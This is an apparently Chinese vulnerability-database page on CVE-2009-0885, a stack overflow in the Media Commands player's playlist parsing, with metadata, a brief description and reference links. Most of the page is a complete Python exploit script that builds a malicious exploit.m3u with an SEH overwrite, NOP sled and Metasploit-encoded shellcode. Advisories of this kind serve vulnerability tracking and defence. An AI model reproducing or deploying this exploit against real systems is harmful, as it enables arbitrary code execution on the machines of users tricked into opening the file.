Media Commands播放列表文件解析栈溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117433 漏洞类型 缓冲区溢出
发布时间 2009-03-02 更新时间 2009-03-20
CVE编号 CVE-2009-0885 CNNVD-ID CNNVD-200903-233
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/8137
https://www.securityfocus.com/bid/33958
https://cxsecurity.com/issue/WLB-2009030173
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-233
|漏洞详情
MediaCommands是一款媒体播放器,可同步和播放各种类型的媒体文件。MediaCommands在解析.m3u、.m3l、.lrc等播放列表文件时存在栈溢出漏洞。如果用户受骗加载了包含有超长项的播放列表的话,就可以触发这个溢出,导致执行任意代码。
|漏洞EXP
#usage: exploit.py
print "**************************************************************************"
print " Media Commands (m3u File) local Seh Overwrite Exploit\n"
print " Founder: Hakxer"
print " Exploited: His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
         	

			
			
buff = "\x41" * 4103

next_seh = "\xEB\x06\x90\x90" 

seh = "\x35\x2F\xC6\x72" #pop pop ret msacm32.drv

nop = "\x90" * 19

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
	"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
	"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
	"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
	"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
	"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
	"\x42\x50\x42\x50\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47"
	"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x34\x4a\x41\x4b\x58"
	"\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x58"
	"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
	"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
	"\x46\x4f\x4b\x33\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38"
	"\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x54"
	"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"
	"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x33"
	"\x42\x4c\x46\x36\x4b\x48\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x37"
	"\x4e\x50\x4b\x38\x42\x54\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a"
	"\x4b\x38\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
	"\x42\x30\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x33\x4f\x35\x41\x43"
	"\x48\x4f\x42\x56\x48\x55\x49\x38\x4a\x4f\x43\x38\x42\x4c\x4b\x47"
	"\x42\x35\x4a\x46\x42\x4f\x4c\x38\x46\x30\x4f\x55\x4a\x36\x4a\x49"
	"\x50\x4f\x4c\x58\x50\x30\x47\x55\x4f\x4f\x47\x4e\x50\x36\x4f\x46"
	"\x46\x47\x45\x56\x42\x57\x41\x56\x46\x56\x42\x30\x5a"
    )

exploit = buff + next_seh + seh + nop + shellcode

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit File Created!"
except:
    print "Error"

# milw0rm.com [2009-03-02]
|受影响的产品
Media Commands Media Commands 1.0
|参考资料

来源:XF
名称:mediacommands-playlist-bo(49035)
链接:http://xforce.iss.net/xforce/xfdb/49035
来源:VUPEN
名称:ADV-2009-0583
链接:http://www.vupen.com/english/advisories/2009/0583
来源:MISC
链接:http://www.securityfocus.com/data/vulnerabilities/exploits/33958.rb
来源:MISC
链接:http://www.securityfocus.com/data/vulnerabilities/exploits/33958.py
来源:MISC
链接:http://www.securityfocus.com/data/vulnerabilities/exploits/33958-2.py
来源:BID
名称:33958
链接:http://www.securityfocus.com/bid/33958
来源:MILW0RM
名称:8135
链接:http://www.milw0rm.com/exploits/8135
来源:SECUNIA
名称:34122
链接:http://secunia.com/advisories/34122
来源:OSVDB
名称:52346
链接:http://osvdb.org/52346